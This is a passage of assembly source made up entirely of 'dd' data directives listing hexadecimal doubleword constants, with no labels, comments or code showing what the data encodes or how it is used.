3AE1A4B4h, 0F8CD28EDh dd 8D430492h, 0B28809E2h, 20450008h, 55300C29h, 3E2D707Dh dd 2280D7B0h, 3D3EB366h, 0D45CC249h, 0E3D30CD8h, 0A3A056h dd 1E93411Bh, 4BA4D571h, 0CBD2B503h, 0AB7B91E5h, 568F9F0h dd 38A8C2FCh, 38B26E4h, 0EE804CB2h, 540EBB07h, 4AFC1A00h dd 8C6D38EBh, 213A0513h, 834CD083h, 1CA875B5h, 0FE00649Eh dd 260EF92Ch, 0F6F58B63h, 0A861002Bh, 7745C22Ah, 0E00BDEEDh dd 1925C60h, 7435196Eh, 0C44DBF41h, 3256430h, 0EE9F8112h dd 8008A38h, 7DD764E8h, 2B8F52h, 944CA8AEh, 11D97001h dd 0C9187E60h, 6284DFh, 9C5007F7h, 0AEE2BA5Ah, 0C4957006h dd 8F6E0h, 0CCB9C294h, 0CB0FFF11h, 4FD30426h, 625D3D00h dd 3CFC479h, 4F6CA1C2h, 87E8B6DBh, 0FC077386h, 45CA3BDCh dd 0AEFFAF10h, 26E0063h, 0A9580511h, 0C90033D5h, 1E20B45Ah dd 0F2A194h, 842C23D4h, 92882760h, 657B3802h, 0E18FDDDCh dd 80CDAE8Ch, 1A76E8C7h, 0FD8500DAh, 27B0CA94h, 0DD1D10B6h dd 1C44B8E0h, 0BE299Ah, 8AA090AFh, 0FD006264h, 0A76BD2D1h dd 11454B7h, 422603E6h, 0D85D1AACh, 0F2033902h, 0C6DCC0B8h dd 2F48D071h, 78F4CEh, 0B083D9E9h, 0FD63F03Dh, 2D573803h dd 162BB9Fh, 768C108h, 0E83B92A8h, 0C800C9F7h, 0BFE46B5Fh dd 714EF26h, 2FFECA8Ah, 0C50B53C1h, 0C60082CAh, 70E86CD1h dd 75300F57h, 93C00887h, 0C253B604h, 0C9BD2B00h, 3C17DCA5h dd 0FAB800F1h, 0B90ABABCh, 0FE0011BBh, 0E5865D33h, 0AECA42h dd 73E2322Ah, 9A534829h, 0DB858D00h, 0DCC14B3Bh, 877B28E0h dd 5ABC0040h, 115D0513h, 0D8F5C1EDh, 0EE00B3ABh, 68B76B1Ch dd 143A582h, 0F26FD406h, 702ECA62h, 6A70CED0h, 3D323600h dd 727B069Dh, 9E842E04h, 804D1C7Ah, 0D21074Bh, 0C30064B9h dd 0A46ED437h, 7704B58Fh, 0D87E032Fh, 3CEEFF72h, 0B7C77690h dd 8AD9A603h, 88C3F6ABh, 1C938DD2h, 827A239Bh, 99A95395h dd 7EB4D481h, 723300BDh, 0AE4D0144h, 90D1528Ch, 0F365DCC2h dd 0EB039800h, 9214AD3h, 0A6A50005h, 389DCF43h, 5B00D0E9h dd 92DD128Eh, 14B5087Eh, 0B86D5244h, 58A3D805h, 3D8400A8h dd 0BEC93EBDh, 545C1E01h, 68F5712Dh, 0D3B12884h, 3551C066h dd 0ED24F4DDh, 0C00040DBh, 71E3A788h, 77017ECBh, 0D5190304h dd 14EC8F13h, 0A9CC3AD8h, 0E14C0300h, 0F8BF20CFh, 0FF40028h dd 429E1926h, 9AF2F585h dd 4E77F300h, 57B11B23h, 24CF00F0h, 0E538F815h, 6E00CA2Ah dd 170788E1h, 1099178h, 677BD6C6h, 0E0760534h, 4416E24Ah dd 3D034D58h, 0A0F630AFh, 0DA0A7Fh, 0AE9C03D3h, 150AD17h dd 18637707h, 21EC308Ch, 9CE0FCAh, 700003F4h, 0B6357542h dd 0B0E78400h, 5A9980FDh, 0B3F900EBh, 0A3EF617Ch, 7E009B4Eh dd 0E4FE41A5h, 0B8FF1680h, 0DD03392Fh, 0E2B3ACh, 3C2DE90Bh dd 0F607330Dh, 38680167h, 5F00E8EAh, 0FC92058Ch, 35471755h dd 7AED00D7h, 7578314Ch, 0EB51D500h, 0E507E116h, 1FA93C7Eh dd 6FD2D482h, 0C4487C42h, 6407BDB8h, 61B6A4D3h, 4AD6830Fh dd 0E2A800F6h, 0D5596B2Dh, 0BC7B8A68h, 0F0AF800h, 6309AEE3h dd 7DCA001Eh, 5EE5837Bh, 91008FBBh, 0C2CE3299h, 3894A0EDh dd 1705E3E2h, 1E10D39h, 5B0CFBF8h, 0AD5FC83Bh, 768F7D03h dd 9C6EC263h, 0E3DAA890h, 1893383Fh, 0B6220B8Fh, 806E4884h dd 0B7A0E024h, 83919801h, 67285E03h, 57D1880h, 23DE6D6h dd 717E68C0h, 3B4CF222h, 96806FABh, 21765548h, 0D4E1FC8Ah dd 8600CB07h, 2C095690h, 0DE53C5h, 0F5E4399Dh, 0DFA96B7h dd 0F8429CA1h, 6312D849h, 4C00D4E2h, 0D7271EF3h, 4835016Bh dd 190B79B5h, 0C0488051h, 6566CAECh, 4080E1CDh, 1B299D2Ah dd 0C8006CAAh, 0C5E84658h, 1486D72h, 3298ED1Eh, 0D40C62B6h dd 0C60097EFh, 43DADBACh, 30BC21Ch, 9F339966h, 0A4D0837Ch dd 48ECC845h, 94F6E326h, 18D94A80h, 168EAEh, 320B4131h dd 6C8690D8h, 0BC8C9E00h, 78805429h, 98CB00DDh, 1508C07Eh dd 0CD000318h, 3447FF95h, 3D85FDh, 4320BB40h, 5AA0EF73h dd 7B2D6903h, 0E0842B4Bh, 7DD5195h, 3B6F8374h, 23495268h dd 2C1C8460h, 9E1D1800h, 0C131CE95h, 9C6F0EBDh, 8AE0D9E4h dd 9812D717h, 0C6E53Bh, 4886385Eh, 0F2E44A2Ch, 147613D4h dd 0A9D100B2h, 0BBC9C37Ah, 944BC400h, 9979EE84h, 0F29014h dd 42D5CB8Ch, 9CBDA519h, 233D650Fh, 3B8B0041h, 0FADED31h dd 0FD0FDDDh, 0A2D2C867h, 7240FE59h, 54006179h, 7C11B3D9h dd 0C772Ah, 9708E2D7h, 4FDCEBE4h, 6BC945Fh, 478B2700h dd 468C384Eh, 0E1C38701h, 0DF3E834Ah, 0C358AFCh, 0C4517CE2h dd 0D90C3019h, 8208045h, 0BCE0AEh, 0E295970Ch, 0C6EA251Ch dd 0A65E8C66h, 3AF870h, 0E296D0D9h, 0F1316C5Fh, 915038E8h dd 0F0006110h, 2CA41E94h, 0E8CC69FCh, 0EB0503B0h, 0B4689717h dd 0CE01107Bh, 0A3CF93E3h, 0B6C08EF6h, 765207F4h, 0CF895FBBh dd 349C5560h, 9460CC62h, 0C50A0890h, 74FC0163h, 0D3E8AE9Fh dd 9ABDE0C3h, 51C2810Fh, 65DA200Fh, 14C53A35h, 4CAA176Eh dd 74F45900h, 0DFB5BC4h, 630C5150h, 61C0DB7Fh, 65C53216h dd 0D47B002Fh, 0EDCB5B8Fh, 840079E8h, 16221EDFh, 799B91Dh dd 370967EAh, 0A9D9900Dh, 17381CDAh, 70190008h, 0BC34710Ah dd 917A006Ch, 0E0D0B1BBh, 3F00D88Fh, 0B2D96658h, 0F712BEh dd 20059D30h, 0B8CB5BDh, 357D4E00h, 0E2459E53h, 7A9F001Fh dd 3B5E1307h, 87163708h, 7D01F5CDh, 0BB429373h, 9060B70h dd 291AFBC3h, 56D4E380h, 0F60071F9h, 0B4CC7EEEh, 79DC40E2h dd 22C7004Ch, 35822D1Dh, 5CE62E0Ah, 72E66F00h, 0D1E3FD68h dd 0EB843121h, 802F7108h, 72F5CA20h, 1878C3C4h, 197C369Eh dd 0D1DCB5Eh, 0EF2CB322h, 0B4E28603h, 2E1D89DCh, 6DC8344Bh dd 288EAC0h, 710B009Fh, 39A20EEFh, 227A2D4Bh, 5828256Ch dd 0E2048C9Eh, 3FD6C72h, 0C6207B62h, 39C72E1h, 44E4AC47h dd 18072CA5h, 0D2162E0Fh, 18604D56h, 1932B87Eh, 2F0013B5h dd 77B45888h, 7350C88Ah, 4ED38E8h, 0B350C01h, 80FC70F0h dd 3875B510h, 90AC0E9Bh, 117607E5h, 0D0D71413h, 0EA885DCCh dd 0D4D65604h, 7F80ECA7h, 8FB2E0h, 1F23BC25h, 3B6C0CC2h dd 37861A00h, 50CC67FCh, 0FA69002Ch, 31C5B241h, 9100A71Bh dd 33DB03D6h, 0ACF1A3h, 6028E985h, 0FA649D67h, 1CFB6A00h dd 20F39B0h, 46FF18DBh, 277528F4h, 88F98F88h, 0C38B345Ch dd 15128AAh, 0FD802214h, 95114842h, 2D22ADh, 7A1E9AF2h dd 49663122h, 0F0D3EA00h, 0C7E099B3h, 4A6B0061h, 0F7C3210Fh dd 4C1F5408h, 0D2C05026h, 84CBE3B9h, 0E53300D3h, 2AF25940h dd 4A00A097h, 6A18A8E8h, 0AEB5DEh, 0F74413F5h, 4DAA0D7Eh dd 3C92EF02h, 0E3B394C5h, 6D190195h, 3A1F39CFh, 0C126C46Bh dd 0DABF3700h, 0F43BFB02h, 1E52FED9h, 0FA76341Ch, 0E7749280h dd 6FEA8F28h, 2CCEEE0Eh, 0E157E07Eh, 0B82D1682h, 0EBCF003Dh dd 15BDB473h, 0F0015CFFh, 0D5674831h, 3160651Ah, 669C0024h dd 0FF5D1857h, 0F9006A83h, 0A63FBF7Fh, 16C823Bh, 14FEC186h dd 83EEC677h, 7EC78708h, 362F98DDh, 15F094h, 0CBF1B345h dd 683D8E50h, 35377D14h, 0C2EA7CF8h, 0B4EE3E00h, 0C1F17B04h dd 577E7Eh, 9BABBD52h, 773F90D7h, 59E0D501h, 0F16F4C22h dd 7A14B1D0h, 0A63E0358h, 9685C46Eh, 3727C7D0h, 6800B3FAh dd 356DCFD5h, 2F71AE0Eh, 0FEDE4336h, 0AC49C80Ah, 0C083E18Fh dd 0F68B6793h, 38C50B8Ch, 9F80D352h, 50290864h, 3C0F680Fh dd 35316093h, 0DF90A2h, 5DBAC865h, 4B8E6CB3h, 0D857F500h dd 0FADE4160h, 0B50305CEh, 1FC894C7h, 0F0A2C1CCh, 0E02D8DB6h dd 7B00542Ah, 0B2C1DE20h, 0F093922Ch, 82A902A1h, 2E3AF027h dd 6D42B480h, 773B4B37h, 0B01F0F3h, 8CC363ACh, 0BDFC3026h dd 850500F2h, 2BCB48AFh, 6100F541h, 98804438h, 121102h dd 4A6682D1h, 52734C5Ah, 0A7DE9300h, 0C329C07Dh, 6EB007Bh dd 23453C68h, 0D503ECCh, 0EE380E9Ch, 0A5BE1F95h, 4107BC00h dd 153773h, 0D8DE8324h, 5FA68BD4h, 0BA447D03h, 0F8CDA8A1h dd 119376Eh, 6F4F1F55h, 0D08BEB63h, 0C624B3AEh, 64007C93h dd 0AAB572E7h, 0C9CB00EFh, 0F59FF188h, 0FB003066h, 5712A7E1h dd 0F703DF29h, 7422FE8h, 694712Ch, 40019CBh, 66403AADh dd 0BF47F200h, 0B2E5E8D2h, 0B47A002Eh, 71CE1096h, 4338866Bh dd 0FA198792h, 0F310738Ch, 0DB4F11h, 589D8D5Bh, 8B351886h dd 7D51D401h, 3D561A0h, 0E323AC83h, 9D888F6Fh, 9C00B82Ch dd 42AF2A70h, 38BDC891h, 580163Eh, 0D6E8B6F6h, 0DE0187CDh dd 883546B2h, 0E0D3E5BEh, 0E8593A0h, 0E633A6FCh, 0CA0B8FA0h dd 0D800AD20h, 1A789BC4h, 47BD5Eh, 0D12FB446h, 7F1C35DDh dd 0FE001B72h, 93614B29h, 0B4AD17h, 0A8C0CA32h, 37686FF6h dd 0EC8CF00h, 0AA16B107h, 0F0750EDFh, 9000F167h, 9348548Dh dd 0C886F300h, 340C0FAEh, 8CFA99h, 33A5DC9Fh, 0B494476Bh dd 17073E01h, 0BE484E0Ch, 4C68C4h, 0EA6E439Dh, 0B3696B3Ch dd 0F600E4F8h, 56CBD55Bh, 96838Fh, 0C4A60DC8h, 11D8BCE7h dd 956F1A00h, 0AE9A57DFh, 9F7500E5h, 8E0A3B43h, 0C724B9D8h dd 920EF8A4h, 0DDF940A1h, 145BE4h, 0A009882Ah, 0DBDC73B5h dd 64038B00h, 0A1EA42EDh, 0C3E101B3h, 386D7069h, 6402276h dd 27A28FC8h, 0AD07B91h, 515F1787h, 2D740ED4h, 9F33E520h dd 1000958Dh, 8EDC037Ah, 0FBFC396h, 0C15402DDh, 61FB42C0h dd 0C00032FFh, 152C2423h, 0F6943B51h, 97A40013h, 844F4BC7h dd 4A004C9Fh, 41FF19Dh, 9631A08h, 0C20DB140h, 0D58C9000h dd 3B00A4AEh, 1FA1F34h, 942771h, 3966DAFCh, 14BF80B6h dd 0E6D74A00h, 3A9998A6h, 94343D2Bh, 0F42D9C00h, 91593D4Dh dd 0AACADA00h, 0F78DBC8Fh dd 73170021h, 0D284F4ABh, 98005DE3h, 0F2E80342h, 9AC0DD78h dd 387D40A4h, 0CD24D47Eh, 0CF159072h, 0D148B0h, 29814617h dd 8AA1ABh, 8E10DDBEh, 999E5F8h, 8800D499h, 4CB6C554h dd 1B3E07B3h, 80A8F5E1h, 4572F7EAh, 96FB8905h, 1480C426h dd 266E0503h, 1D9CC7FEh, 32818570h, 0AA200D8h, 912DB1AAh dd 63009278h, 0D7DFCADBh, 7664994Dh, 9B473AF6h, 6D8E4109h dd 20F0E487h, 4DB4E49Dh, 0AA00217Ch, 551D37D8h, 108879Ch dd 0A20D2931h, 8097E62Dh, 731ABE98h, 90041075h, 9C70C10Ch dd 0A474F42Bh, 92007421h, 3C24B9F7h, 3D2A905Ah, 0AA80613Fh dd 41299FB6h, 0CE120602h, 75007662h, 28D49D39h, 0FC86E8E6h dd 9A190036h, 3AEBCCA4h, 0F80078A2h, 2A1E7922h, 0FA30DFh dd 41ED181Fh, 0B2B4D6A6h, 2DD25A00h, 42F6D053h, 0ACE40083h dd 0A2799B89h, 9CA169A1h, 6C324Bh, 0DDCB0C70h, 0FE8B4Dh dd 0CA20B6DEh, 9A823EEBh, 32C8391Dh, 0D327C681h, 6C60AC5Dh dd 83EEF9h, 0BB5FE00Eh, 3D0DA92Ch, 655CDA00h, 9268B424h dd 74DE000Ah, 69101B37h, 539A4F9h, 8E6100F7h, 52E1D09Dh dd 67620054h, 0D5580134h, 893D3A37h, 9DBF0038h, 64272230h dd 11A00365h, 0F394D392h, 0A6D58Fh, 7F12A4B1h, 0F90034AEh dd 0B5D0CE8Ch, 12FD5580h, 130C4CFFh, 1FF1BC00h, 288004DAh dd 16F46A09h, 86C43D9Eh, 0A4C86000h, 271D5403h, 0BF9FDA00h dd 3A25A2AAh, 0CE750A24h, 3DB7C2Dh, 0EDCBFA8Ch, 629F5C98h dd 127CF17Fh, 0E8154100h, 53353090h, 0DB7805ECh, 803A9AA4h dd 3FBA9264h, 68026DFh, 90F30B28h, 7EB97013h, 6F8C03E7h dd 0D7E38824h, 4005F4F9h, 997239C7h, 0A46B8201h, 6007C8B3h dd 168A92E8h, 977F37h, 3D0AF864h, 11012C23h, 0CF817310h dd 71C45434h, 821B00E1h, 0C819CC46h, 38759F90h, 0AA0C081Fh dd 33413C3h, 2F26A048h, 136748A4h, 27DDC3Bh, 0FDF96C5Eh dd 88685F29h, 0E900DFBAh, 3EE1AFB7h, 58FE2AD9h, 70E4CAEh dd 0FD409190h, 0EEF1E043h, 54CB7200h, 3FA8F311h, 28FB604Fh dd 0A59FD3ACh, 406A6D17h, 0B6EA2001h, 20F53848h, 51C8E0h dd 7CBCED0Dh, 4CCA8682h, 2ABE4E00h, 0AF843235h, 66CC12B6h dd 33C049Bh, 7A5C8045h, 0DE09F727h, 926B0193h, 8F308000h dd 26D80609h, 3C8CD12Ah, 2E8EAD80h, 1EE9BB3Eh, 0E6247B74h dd 843878C5h, 0C74C4EFh, 916860C0h, 0D66002Fh, 0A879F028h dd 10B54F4h, 0A3C5B58Bh, 0E06CC7E4h, 0C14ED2Dh, 0AD72C2D6h dd 38054598h, 81A4270Dh, 66ED0F80h, 257E007Ah, 0B629057Bh dd 0D10FADE1h, 5DF9C035h, 969AB540h, 8B86F4h, 570C7E74h dd 7C5EBC47h, 9909F900h, 269F5689h, 4CE554D2h, 0D3CD4155h dd 0CA38DAE0h, 92A54D00h, 0F6B539FCh, 3327014Ah, 0A79ADF8Fh dd 6CF370CCh, 9C19541Eh, 1BE2AC0h, 5160FDh, 10A921E6h dd 62D5173Dh, 0DC39FA00h, 221404E5h, 977800B8h, 0F2DAD33Ch dd 1800C496h, 0B4F6B3BEh, 0F9B8C38h, 49A161E0h, 4B217A80h dd 1F7D5F2Eh, 3B132900h, 0F9C2A4B8h, 0A09300D3h, 63112D65h dd 6D03B20Ah, 0E1F11964h, 5DD581F2h, 0A7DBEC40h, 50FA7058h dd 0CFDCD2h, 2EA89113h, 0C489994h, 64BB2C00h, 1CAA0D7Fh dd 9EB90046h, 6EE8CBD3h, 38B07986h, 0DA778B00h, 207A9852h dd 410A001Eh, 33ADAA43h, 5EB85034h, 0E974B6E2h, 1FD9F500h dd 1EC490FCh, 0DDA507FDh, 5E6BC21Dh, 0E7B49C40h, 8A070F56h dd 555F4109h, 0D2B5D900h, 0D4F71EE0h, 7D154016h, 0CB37C8F8h dd 0B748F600h, 67B52639h, 0FA443A8Dh, 7DFDBA80h, 78EA2165h dd 26206D3Ah, 6300A16Eh, 3B752772h, 0C80200E2h, 12BEBC4Ch dd 67905F95h, 0EEE97B16h, 0ED472B00h, 79AEAD1Eh, 0E27304CCh dd 81760B58h, 0D85BB008h, 0ED003EDCh, 2A056830h, 2EA5893h dd 0A52E1F52h, 136008DEh, 0A100C95Ch, 6D3D35F3h, 0F014701Dh dd 98E50CD0h, 7DBA3F25h, 0C8F6F400h, 1D770CE7h, 0CA461C01h dd 86A30034h, 89BFE62Bh, 9126A500h, 20D993D4h, 0E99602D7h dd 498C3F15h, 33F31040h, 1903DA30h, 0D1D204h, 0D5950F22h dd 9160433Ah, 0C7540E18h, 9FFDF0h, 85C3E6FBh, 9A7E786Dh dd 2ACD071Dh, 46137D43h, 0A828C0D7h, 5B060039h, 0A29F0A1Dh dd 0F2268548h, 8400ABE9h, 1365DE19h, 8CAE0301h, 67463CA3h dd 0C707F780h, 0D10CEE00h, 1060D852h, 13740063h, 56A4FDEFh dd 0AB00C8C0h, 0E81B5D76h, 0E626860h, 418DB228h, 0D14429C0h dd 83AC3FCh, 243D8091h, 73DAFF8Bh, 4B7B16h, 22A91FB2h dd 894CA701h, 8D370E04h, 0E8A051E1h, 0AEB501BCh, 4FCD16F1h dd 62E6F472h, 0D19D6100h, 12E3331Bh, 0DEC00034h, 0FA57AB47h dd 553F43B2h, 0B6F38059h, 0A82CC77Ah, 2BDB006Dh, 0D79296EEh dd 5E1C2634h, 300B3677h, 0BA6082D5h, 4038602Ah, 64819F2h dd 20FB648Fh, 5B0031A0h, 0B52FB967h, 39CD90h, 6B2C24DBh dd 4528D46h, 19EE8101h, 31835AF6h, 0D62ECh, 74BC903Bh dd 1231DE8h, 0E3503E00h, 0B2AE3129h, 66193FFCh, 13F0042Ch dd 5CEB0010h, 1F0DB8Ch, 0CD0E9896h, 0AC00DD92h, 9431DD2Ch dd 267E71h, 0C24FC856h, 673D76AAh, 0FFFA2A2Eh, 16029000h dd 6EA4F3h, 0AEDD4AC6h, 825641F7h, 23ED0E00h, 1A507062h dd 0A83D008Ah, 0B874CDA5h, 0E890FFBCh, 0E1577906h, 720899Dh dd 0B769C7D5h, 4439B018h, 8B000FCBh, 0CC5F321Bh, 30F004h dd 2CF48384h, 4E4D7577h, 0A54B9200h, 74FA0C98h, 1DCB7CE0h dd 8F7B3E50h, 0F7607169h, 1E7790FEh, 6FBA3Fh, 17E4F50Ah dd 1EC8DDEAh, 7DDAE9h, 44405195h, 8C07AA38h, 0EA6250A2h dd 0F82571B3h, 3C1036h, 2CB7750Bh, 445DA10Dh, 39F92100h dd 0E5E25AE6h, 0D57D0045h, 41BA1DAAh, 2D01B96Fh, 0E800FADh dd 0EFD1CAD7h, 0A568C0DAh, 0A7A6006Eh, 59DEE5F8h, 0C6005F0Dh dd 9001AA36h, 9802C4Dh, 0B7E3ECCDh, 0B19EE860h, 9D7A9906h dd 0C831D4h, 22D32EF7h, 13DCBCA6h, 74008E75h, 854C418Bh dd 1C0C40h, 0C08738BDh, 6DA4D282h, 95D9DA16h, 42E00000h dd 732C6135h, 0E3809C8h, 0B303A223h, 0C4F81997h, 0CAF207EBh dd 0B4AEDF00h, 0F2F8F74Ch, 7A13006Fh, 0EAFA182Fh, 9500E57Ch dd 51557061h, 71237Eh, 0D6EC3E8Dh, 0C16F8F21h, 0BCE4A20Eh dd 6233C0A0h, 0B8E154h, 0DD63977Dh, 0EB165A23h, 0D653F900h dd 746BF4CBh, 153200BEh, 82C2F808h, 0A3145E57h, 0ACAB1Fh dd 87315A55h, 0BA67Eh, 0C2B09E1Ch, 0B96DCAB6h, 12DA4B00h dd 0BD3A0EA9h, 6B360317h, 0DD3732B0h, 86B69003h, 0C7BBBF49h dd 2E9660A0h, 1B733079h, 4ADD311h, 3C83C700h, 295F9E81h dd 0B48F00DCh, 3EC0C59Fh, 0E50D235h, 0AD50ABC0h, 58004CFCh dd 0E1CCDEB3h, 3F78B1ACh, 790165C6h, 0FAB564C5h, 0A47CD072h dd 0CE9B8800h, 0EF87523Ch, 25B70040h, 95E12CF7h, 0DF0039E6h dd 0F9E4DBE5h, 4A319Fh, 82E0E740h, 599AD347h, 639D6200h dd 0C7C811FEh, 37F800CFh, 6494F2BBh, 89000626h, 8131A5E9h dd 0D4A2B2h, 0DEDA0B45h, 568F05A4h, 0EC26B900h, 6B544775h dd 0C0DFE0BDh, 359EF7E8h, 2203C437h, 36C88AE6h, 19F69826h dd 4ECCEF1Fh, 0B24C001Eh, 4366DEAAh, 2100EBB6h, 6CF592B1h dd 5D6F289h, 0F9EE8C25h, 72D40E9Eh, 0C03E060Fh, 1AA79FF3h dd 0DD7984A8h, 6E20C201h, 86581241h, 7E0CF1DFh, 8DB460h dd 7ACE5248h, 2B958329h dd 4977A300h, 6AF5EEBh, 5B3A0B17h, 7B00B32Eh, 59D6A4F2h dd 0F07CFD01h, 0D071E3ABh, 90D41420h, 9912488h, 10CB80F4h dd 5A8F35B3h, 0F32DE307h, 0A0309422h, 0DD3680h, 8137F5F4h dd 12111D46h, 88E0870Fh, 0E02C94Bh, 0D8C006Ch, 97EE629h dd 8E876A1Ah, 4E1D0001h, 8DF85CAEh, 4BE58B00h, 90A33120h dd 77F50071h, 0DBC644D2h, 360092FEh, 166986C5h, 3968D3Fh dd 4F80FA8Ch, 0FE805E76h, 9198758Fh, 436DF000h, 0A61DAD37h dd 0E6DF03FBh, 46257969h, 0DE96CFE8h, 67FF7300h, 820F0572h dd 21663CF1h, 0DC9200FFh, 81F28BBDh, 2202F467h, 9B76F6B5h dd 13D0802Ah, 0FDEF970h, 0FE9CD6F0h, 0BC5C66BEh, 3821AB00h dd 0B15B0F47h, 89002CFCh, 0BC5EB0B9h, 0AE641Ah, 0CBE69214h dd 3E44A231h, 365D6900h, 0AC4DA6B3h, 17D80779h, 0F1971D9Bh dd 4010E953h, 0D63E92DCh, 0C27CB106h, 13526618h, 40E52164h dd 0F4FC2634h, 0CD00752Bh, 3799DD14h, 0E26B24h, 0CE80D11Dh dd 82DC10E6h, 2935C701h, 223BA595h, 37B5D0h, 99A9455Ch dd 44DC97D0h, 98AD3Ah, 0B47DFFAEh, 1C7E7946h, 80774092h dd 318A6173h, 0EA0959FCh, 88B63Ah, 9BE0A6ABh, 7573B1h dd 895842CCh, 0C323A597h, 0C5A789Fh, 9C04D7C4h, 0A8001EE8h dd 3DE23B68h, 0E45E91Dh, 0D28A82CBh, 5917B1E3h, 81CE6EC8h dd 8754DD3Dh, 570E237h, 0CCC43404h, 15CBD3C0h, 0C3A8072Bh dd 0C2C50731h, 707C10F0h, 5E1F3202h, 7012C0ABh, 63AE02D4h dd 2A131A7Dh, 792D4068h, 300BC800h, 0CD99C240h, 57D81CFCh dd 0EDBACBECh, 0F0B97000h, 0B600DEADh, 72E80EF9h, 311E2F5h dd 12E1FC75h, 0DDF774h, 0DE67CB0Ch, 8C0DBE7h, 0FEEC0A8Dh dd 6BB5269Fh, 0C6F280C0h, 0C7697132h, 4B08A900h, 0F4D5B690h dd 9980F9DEh, 526BCDB8h, 53310E2Ah, 4D070868h, 1F6F409Eh dd 0E4200702h, 0AC89B085h, 58000362h, 0ECEECA26h, 6D12C5h dd 1832C771h, 49809622h, 50004572h, 987008B4h, 14C26h dd 6885BB59h, 75EB5430h, 0EC0A1270h, 58B29F0Bh, 0E41C0BEh dd 7BB95AC7h, 0B13B6781h, 0C89180A7h, 0AABC11C5h, 76D60098h dd 0BBA0A577h, 25008B37h, 954C537Fh, 66C9F7h, 0F2A670A8h dd 13D28FB9h, 9465B000h, 1462FE98h, 232E00EBh, 4997FADFh dd 0D400C2D8h, 4C01026Ah, 940B04h, 5E5864CBh, 32AE0F39h dd 15DE9501h, 0A6D3D2FBh, 79401602h, 0CF0088F8h, 0ED44711Bh dd 0F07F49h, 9F147C1Ch, 2752D46Eh, 0E2F10500h, 9D307E84h dd 66F30079h, 98AFE793h, 5D02A051h, 2A920A57h, 0D2C04009h dd 509559FFh, 9F6A1BC0h, 817DE838h, 0F8852300h, 3C56C963h dd 31B016h, 3BB8796Eh, 17D48DC3h, 24CC1548h, 0A80D0DAh dd 72450D93h, 0F1FECAh, 2B8481F8h, 0C16E71A2h, 0C29DD101h dd 0BE61D2F0h, 3ADA0DF4h, 9381FCD3h, 46D06A0Ch, 0BFA6E8C4h dd 0CCFA792Ch, 53C0B21Dh, 0D3D4D6AAh, 9DC300B3h, 0E84B213Eh dd 3D00562Dh, 0D88DF8A8h, 33FEE2BFh, 8020B442h, 17393000h dd 0FC2E7605h, 1348924Bh, 37CB03Dh, 1763A6C7h, 0C79FD800h dd 0A12EA41Ch, 11E40057h, 0B335D35Bh, 1624731Fh, 0B080206Ah dd 0D699F1FBh, 51623D4Fh, 788D7F01h, 28E7E2CDh, 3D3E001Ch dd 3A909A5Bh, 0D808C742h, 7EA20B1h, 3800418Eh, 0A1342696h dd 4A255Ah, 77B19749h, 642F8C3h, 6C3D6003h, 0F7F51E41h dd 0CACDA00Fh, 4057F6h, 7EBBCB29h, 8F3095ACh, 1D0B890Ah dd 0A11C94BCh, 0B03E23AEh, 0E8FB08A9h, 908906A6h, 0E815DD7Ah dd 5A579400h, 27B9D75Dh, 21C40004h, 0E7093CD8h, 25383F45h dd 5FF78528h, 5C87E26Fh, 7168CC61h, 0C19060E6h, 0A8C050BCh dd 923B449Fh, 380A430Fh, 41F500C8h, 185BB457h, 89B029BFh dd 82307A11h, 4F0A50E8h, 76B083h, 263E6E9Ch, 8ECA632Dh dd 620777B8h, 0FA273AFh, 60CFFC30h, 0F574D7h, 0BAF7D59Ah dd 9947AFBDh, 0D9CC41E9h, 0EEEFE864h, 0E0FD4F30h, 1F4217C6h dd 40FCE611h, 2197DF7Eh, 0D333422h, 4046B172h, 739499h dd 0F0DF96BCh, 9EAEE720h, 0A8E1B630h, 197511Eh, 0A4BC741Bh dd 0F6B8C364h, 0FC3ED490h, 0F2E65205h, 0FC40D1DFh, 0D788F789h dd 0E827001Bh, 37612D3Dh, 34010BDEh, 2F399DDFh, 3434A004h dd 0D9EC00BFh, 60F2F4BDh, 8C255631h, 43483AEh, 0EBF00033h dd 0D928B4BCh, 0DD0074A5h, 0DECC42F3h, 60FB5503h, 4566790Fh dd 0B3009223h, 1DF9B177h, 3C86C2h, 5D82C727h, 0E5C65AE6h dd 50DA102h, 0E0A6882Ch, 740BFF2Ch, 0DED000D7h, 2F8EF8D5h dd 0BFF0EE61h, 38F59300h, 8DE2C1B3h, 7C0817DCh, 4E2800AAh dd 37DEB6B4h, 3B2C6005h, 0DC0046CDh, 95F47519h, 9B343971h dd 0F6D70A80h, 54404397h, 4A0FD400h, 1FA1FCF0h, 813A0242h dd 0FBE95536h, 0A92588E0h, 8EDEBA00h, 8DE1BFACh, 8A0C00D5h dd 0C3FD333Dh, 8F0721A6h, 0D9607FCBh, 0F731DEF0h, 846E00DDh dd 5D353E5Fh, 0F0A0BB23h, 0BA00E6D6h, 0F1A7E050h, 0E80B3CB6h dd 90495CE1h, 7F13DD00h, 7C80D24Dh, 7BD14E00h, 6206BCCDh dd 0B9EE1365h, 3EAC01F2h, 240EF55Eh, 0E807D1FCh, 3757908Bh dd 0EA1E8890h, 229029h, 0EC7B554Ah, 0F6C61B02h, 0CB0336E8h dd 22446ACAh, 4CA19010h, 209501E2h, 1C716007h, 33108E52h dd 6E4DC00Ah, 1F563h, 590CDD25h, 80D0BB62h, 0A3064B77h dd 7BE16DCh, 70C10118h, 0F00F3D90h, 0C80F3118h, 0B03D1BF4h dd 87CD8CC4h, 14FD286Ah, 0FB28BBEFh, 809F9500h, 0F4B3EC1Bh dd 0C1690A1h, 61FC40E1h, 0D6F89D7Ah, 1A89102h, 7FA95EECh dd 5A89CC80h, 0A6021B15h, 0FDB968ABh, 0FAB0E892h, 36D70037h dd 0DB4E5A23h, 0C60144C9h, 0D69601F8h, 0EADC2FCAh, 2E600A8h dd 117ABC25h, 1200BB82h, 0E0BEB8DAh, 3DEBF8h, 874558C2h dd 3E32B579h, 80E7570Bh, 7B8D0070h, 0EE365D04h, 1066672Dh dd 0B8F39054h, 0D700E83Ah, 53714228h, 0F03DF248h, 93ED02C8h dd 44E90485h, 19B9FF40h, 7C3FDD00h, 5A9C7B12h, 53577F10h dd 5807844Bh, 4F0B3D4Fh, 4084C0FEh, 0D6C3A49Fh, 0BC17458h dd 30A322Ah, 0B8FFBA9Ch, 26848EDh, 0B73BF5B4h, 6540658Ch dd 0B00CE9Dh, 301D1889h, 0DAEB53h, 4778414Eh, 0A8631503h dd 0EAB348h, 89AA2FE5h, 0EC4EB57h, 0F133DEFAh, 277264E1h dd 4462CCh, 0EC2D0999h, 0C7DA58h, 968FE024h, 1A48A7E2h dd 8E976E3Fh, 7D738C45h, 38FCFB42h, 653D4018h, 0DE60087h dd 61A920C1h, 